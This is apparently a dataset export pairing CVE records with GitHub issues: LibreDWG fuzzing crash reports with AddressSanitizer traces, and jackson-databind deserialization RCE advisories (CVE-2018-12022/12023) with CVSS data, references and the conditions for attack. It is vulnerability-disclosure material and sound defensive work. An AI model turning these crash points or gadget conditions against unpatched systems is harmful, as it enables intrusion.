2019-03-12 18:15:45 ## [email protected]:1323-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function bit_convert_TU at bits.c:1323-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32351==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7feaa5e0727e bp 0x000000000001 sp 0x7fffe83aecc0 T0) ==32351==The signal is caused by a READ memory access. ==32351==Hint: address points to the zero page. #0 0x7feaa5e0727d in bit_convert_TU /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c:1323:3 #1 0x7feaa63f0ed0 in dwg_dxf_STYLE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2425:13 #2 0x7feaa63f0ed0 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1319 #3 0x7feaa63bc1d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #4 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #5 0x7feaa4cc5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #6 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c:1323:3 in bit_convert_TU ==32351==ABORTING ``` ### others from fuzz project None crash name None-00000001-1552381543.dwg Auto-generated by pyspider at 2019-03-12 18:15:46 ## [email protected]:2354-32___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_decode_eed_data at decode.c:2354-32 ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c 2349 LOG_TRACE("raw: %s\n", data->u.eed_4.data); 2350 break; 2351 case 10: case 11: case 12: case 13: /*case 14: case 15:*/ 2352 data->u.eed_10.point.x = bit_read_RD(dat); 2353 data->u.eed_10.point.y = bit_read_RD(dat); ► 2354 data->u.eed_10.point.z = bit_read_RD(dat); 2355 LOG_TRACE("3dpoint: %f, %f, %f\n", 2356 data->u.eed_10.point.x, 2357 data->u.eed_10.point.y, 2358 data->u.eed_10.point.z); 2359 break; ``` ### bug report ```txt ================================================================= ==32355==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300007ff11 at pc 0x7feedd1396cf bp 0x7ffeed7b1e10 sp 0x7ffeed7b1e08 WRITE of size 8 at 0x60300007ff11 thread T0 #0 0x7feedd1396ce in dwg_decode_eed_data /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2354:32 #1 0x7feedd1396ce in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2473 #2 0x7feedd12e7ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 #3 0x7feedd008874 in dwg_decode_LEADER_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026:1 #4 0x7feedd008874 in dwg_decode_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026 #5 0x7feedd008874 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3630 #6 0x7feedcfb73d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7feedcfb73d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7feedcf9a049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7feedcf754b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7feedbe52b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x60300007ff11 is located 0 bytes to the right of 17-byte region [0x60300007ff00,0x60300007ff11) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7feedd137a9f in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2470:47 #2 0x7feedd12e7ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2354:32 in dwg_decode_eed_data Shadow bytes around the buggy address: 0x0c0680007f90: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c0680007fa0: 00 05 fa fa 00 00 00 02 fa fa 00 00 01 fa fa fa 0x0c0680007fb0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fa 0x0c0680007fc0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c0680007fd0: fd fd fa fa 00 00 00 05 fa fa 00 00 00 02 fa fa =>0x0c0680007fe0: 00 00[01]fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680007ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680008000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0680008030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32355==ABORTING ``` ### others from fuzz project None crash name None-00000004-1552381550.dwg Auto-generated by pyspider at 2019-03-12 18:15:46 ## [email protected]:2154-1___out-of-bounds-read ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an out-of-bounds-read in function dwg_dxf_BLOCK_CONTROL at dwg.spec:2154-1 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32364==ERROR: AddressSanitizer: SEGV on unknown address 0x00207fff8003 (pc 0x7f4948e0cf48 bp 0x7fffdb01b150 sp 0x7fffdb01aee0 T0) ==32364==The signal is caused by a READ memory access. #0 0x7f4948e0cf47 in dwg_dxf_BLOCK_CONTROL /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2154:1 #1 0x7f4948e0cf47 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1421 #2 0x7f4948dce1d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7f49476d7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2154:1 in dwg_dxf_BLOCK_CONTROL ==32364==ABORTING ``` ### others from fuzz project None crash name None-00000005-1552381649.dwg Auto-generated by pyspider at 2019-03-12 18:15:47 [dwg2dxf.tar.gz](https://github.com/LibreDWG/libredwg/files/2956421/dwg2dxf.tar.gz) And a same report send to [savannah.gnu.org/bugs](https://savannah.gnu.org/bugs/index.php?55893)

fuzzing results LibreDWG

https://api.github.com/repos/LibreDWG/libredwg/issues/99/comments

7

2019-03-12T10:51:26Z

2019-04-24T13:52:34Z

https://github.com/LibreDWG/libredwg/issues/99

419,920,036

99

CVE-2018-12022

2019-03-21T16:00:12.310

An issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Jodd-db jar (for database access for the Jodd framework) in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "HIGH", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.1, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 4.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.6, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107585" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHBA-2019:0959" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:0782" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:0877" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1106" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1107" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1108" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1140" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1782" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1797" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1822" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1823" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:2804" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:2858" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3002" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3140" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3149" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3892" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:4037" }, { "source": "[email protected]", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1671098" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FasterXML/jackson-databind/commit/28badf7ef60ac3e7ef151cd8e8ec010b8479226a" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FasterXML/jackson-databind/issues/2052" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/7fcf88aff0d1deaa5c3c7be8d58c05ad7ad5da94b59065d8e7c50c5d%40%3Cissues.lucene.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZEDLDUYBSTDY4GWDBUXGJNS2RFYTFVRC/" }, { "source": "[email protected]", "tags": null, "url": "https://medium.com/%40cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://seclists.org/bugtraq/2019/May/68" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20190530-0003/" }, { "source": "[email protected]", "tags": [ "Technical Description", "Third Party Advisory" ], "url": "https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4452" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.oracle.com/security-alerts/cpuapr2020.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.oracle.com/security-alerts/cpuoct2020.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html" } ]

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https://github.com/FasterXML/jackson-databind/issues/2052

[ "Patch", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

There is a potential remote code execution (RCE) vulnerability, if user is 1. handling untrusted content (where attacker can craft JSON) 2. using "Default Typing" feature (or equivalent; polymorphic value with base type of `java.lang.Object` 3. has `jodd-db` (https://jodd.org/db/) jar in classpath 4. allows connections from service to untrusted hosts (where attacker can run an LDAP service) (note: steps 1 and 2 are common steps as explained in https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062) To solve the issue, one type from Jodd database component is blacklisted to avoid their use as "serialization gadgets". Original vulnerability discoverer: 吴桂雄 Wuguixiong Fixed in: * 2.9.6 and later * 2.8.11.2 * 2.7.9.4 * 2.6.7.3

Block one more gadget type (jodd-db, CVE-2018-12022)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2052/comments

2

2018-05-29T20:03:23Z

2020-12-02T04:02:53Z

https://github.com/FasterXML/jackson-databind/issues/2052

327,467,262

2,052

CVE-2018-12023

2019-03-21T16:00:12.407

An issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Oracle JDBC jar in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload.

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[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/105659" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHBA-2019:0959" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:0782" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:0877" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1106" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1107" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:1108" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": 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"https://lists.apache.org/thread.html/7fcf88aff0d1deaa5c3c7be8d58c05ad7ad5da94b59065d8e7c50c5d%40%3Cissues.lucene.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZEDLDUYBSTDY4GWDBUXGJNS2RFYTFVRC/" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://seclists.org/bugtraq/2019/May/68" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20190530-0003/" }, { "source": "[email protected]", "tags": [ "Technical Description", "Third Party Advisory" ], "url": "https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4452" }, { "source": "[email protected]", "tags": null, "url": "https://www.oracle.com/security-alerts/cpuapr2020.html" }, { "source": "[email protected]", "tags": null, "url": "https://www.oracle.com/security-alerts/cpujul2020.html" }, { "source": "[email protected]", "tags": null, "url": "https://www.oracle.com/security-alerts/cpuoct2020.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html" } ]

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https://github.com/FasterXML/jackson-databind/issues/2058

[ "Patch", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

There is a potential remote code execution (RCE) vulnerability, if user is 1. handling untrusted content (where attacker can craft JSON) 2. using "Default Typing" feature (or equivalent; polymorphic value with base type of `java.lang.Object` 3. has oracle JDBC driver jar in classpath 4. allows connections from service to untrusted hosts (where attacker can run an LDAP service) (note: steps 1 and 2 are common steps as explained in https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062) To solve the issue, 2 types from JDBC driver are blacklisted to avoid their use as "serialization gadgets". Original vulnerability discoverer: 吴桂雄 Wuguixiong --- Fixed in: * 2.9.6 and later * 2.8.11.2 * 2.7.9.4 * 2.6.7.3

Block one more gadget type (oracle-jdbc, CVE-2018-12023)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2058/comments

1

2018-06-08T05:30:38Z

2020-12-02T04:02:26Z

https://github.com/FasterXML/jackson-databind/issues/2058

330,524,621

2,058